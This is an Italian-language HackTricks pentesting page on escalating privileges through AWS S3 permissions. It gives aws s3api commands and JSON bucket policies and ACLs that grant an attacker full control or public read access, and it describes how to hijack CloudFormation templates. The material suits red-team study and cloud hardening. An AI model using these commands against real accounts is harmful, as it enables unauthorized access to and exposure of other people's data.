AWS - S3 Privesc

Impara l'hacking di AWS da zero a esperto con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Un attaccante con tali autorizzazioni su bucket interessanti potrebbe essere in grado di dirottare risorse ed escalare i privilegi.

Ad esempio, un attaccante con tali autorizzazioni su un bucket di cloudformation chiamato "cf-templates-nohnwfax6a6i-us-east-1" sarà in grado di dirottare il deployment. L'accesso può essere concesso con la seguente policy:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Action":[
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"],
"Resource":[
"arn:aws:s3:::cf-templates-*\/*",
"arn:aws:s3:::cf-templates-*"]
},
{
"Effect":"Allow",
"Action":"s3:ListAllMyBuckets",
"Resource":"*"
}]
}

E il dirottamento è possibile perché c'è una breve finestra temporale dal momento in cui il modello viene caricato nel bucket al momento in cui il modello viene implementato. Un attaccante potrebbe semplicemente creare una funzione lambda nel suo account che verrà attivata quando viene inviata una notifica dal bucket, e dirottare il contenuto di quel bucket.

Il modulo Pacu cfn__resouce_injection può essere utilizzato per automatizzare questo attacco. Per ulteriori informazioni consultare la ricerca originale: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Questi sono i permessi per ottenere e caricare oggetti su S3. Diversi servizi all'interno di AWS (e al di fuori di esso) utilizzano lo storage S3 per memorizzare file di configurazione. Un attaccante con accesso in lettura potrebbe trovare informazioni sensibili al loro interno. Un attaccante con accesso in scrittura potrebbe modificare i dati per abusare di alcuni servizi e cercare di ottenere privilegi elevati. Ecco alcuni esempi:

  • Se un'istanza EC2 sta memorizzando i dati dell'utente in un bucket S3, un attaccante potrebbe modificarlo per eseguire codice arbitrario all'interno dell'istanza EC2.

s3:PutBucketPolicy

Un attaccante, che deve provenire dallo stesso account, altrimenti verrà generato l'errore Il metodo specificato non è consentito, con questo permesso sarà in grado di concedersi ulteriori permessi sui bucket consentendogli di leggere, scrivere, modificare, eliminare ed esporre i bucket.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Un attaccante potrebbe abusare di queste autorizzazioni per concedergli maggiore accesso su bucket specifici. Nota che l'attaccante non ha bisogno di essere dello stesso account. Inoltre, l'accesso in scrittura.

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Un attaccante potrebbe abusare di queste autorizzazioni per concedersi maggiori accessi su specifici oggetti all'interno dei bucket.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Un attaccante con questi privilegi dovrebbe essere in grado di impostare un Acl su una specifica versione dell'oggetto

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks su AWS)!

Altri modi per supportare HackTricks:

Last updated